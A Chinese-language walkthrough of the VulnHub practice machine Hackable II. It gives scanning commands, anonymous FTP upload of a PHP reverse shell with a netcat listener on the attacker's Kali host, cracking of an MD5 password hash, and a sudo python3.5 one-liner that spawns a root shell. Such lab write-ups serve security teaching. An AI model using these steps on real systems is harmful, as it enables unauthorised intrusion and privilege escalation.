靶机渗透练习15-Hackable II

靶机描述

靶机地址:https://www.vulnhub.com/entry/hackable-ii,711/

Description

difficulty: easy

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.6

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220112150635028

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220112150746375

发现开放了21的ftp、22的ssh、80的http服务端口。

2.1.3 尝试访问靶机网页

image-20220112150937147

2.2枚举漏洞

2.1.1 21 端口 FTP

根据 nmap 扫描情况看,可以匿名登陆

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 0        0             109 Nov 26  2020 CALL.html

登陆 FTP,查看文件信息

ftp 192.168.9.6
anonymous
ls
get CALL.html
exit
more CALL.html

image-20220112151553962

看起来没什么,可能标题是用户名 onion

2.1.2 22 端口分析

一般只能暴力破解,暂时没有合适的字典

2.1.3 80 端口分析

访问 80 端口,发现是 apache2

image-20220112151644154

目录扫描:dirb http://192.168.9.6/

image-20220112151727585

image-20220112151752703

可以发现一个目录,里面的文件和 FTP 目录下的一致。

2.3漏洞利用

2.3.1 使用 ftp 上传文件 getshell

拷贝 kali 中的 php-reverse-shell.php当前目录,然后修改里面的 IP 为 KALI IP

image-20220112152007866

使用 ftp 上传 shell 文件

ftp 192.168.220.167
anonymous
put php-reverse-shell.php
ls
exit

image-20220112152117717

刷新 URL: http://192.168.9.6/files/

image-20220112152248907

kali 中开启监听:nc -lvp 6666
访问 URL 反弹 shell:http://192.168.9.6/files/php-reverse-shell.php

image-20220112152400707

使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20220112152502248

2.3.2 信息收集破解 hash 获取 shell

查看 home 目录,发现一个用户 shrek,还发现一个文件,查看文件发现提示执行脚本:
/.runme.sh

image-20220112152648609

执行脚本获取信息

image-20220112152742230

得到shrek:cf4c2232354952690368f1b3dfdfb24d,这个字符串看着就像md5

在线 MD5 解密:https://www.somd5.com/

image-20220112152917413

密码:onion,这跟刚开始的标题,,,,,,,
尝试切换 shell:

su shrek输入密码onion

image-20220112153040430

成功切换

2.4权限提升

2.4.1 SUDO 提权

执行命令:sudo -l

u:/home$ sudo -l
sudo -l
Matching Defaults entries for shrek on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shrek may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3.5

https://gtfobins.github.io/ 查询 python

image-20220112153219398

点击sudo

image-20220112153502730

构造命令:sudo /usr/bin/python3.5 -c 'import os; os.system("/bin/sh")'

image-20220112153323459

成功提权,接下来寻找flag

image-20220112153412657

总结

本靶机主要通过ftp来getshell

  1. ftp 匿名登陆,获取和上传命令
  2. 目录扫描
  3. MD5 解密
  4. sudo提权
posted @ 2022-04-02 01:05  hirak0  阅读(60)  评论(0编辑  收藏  举报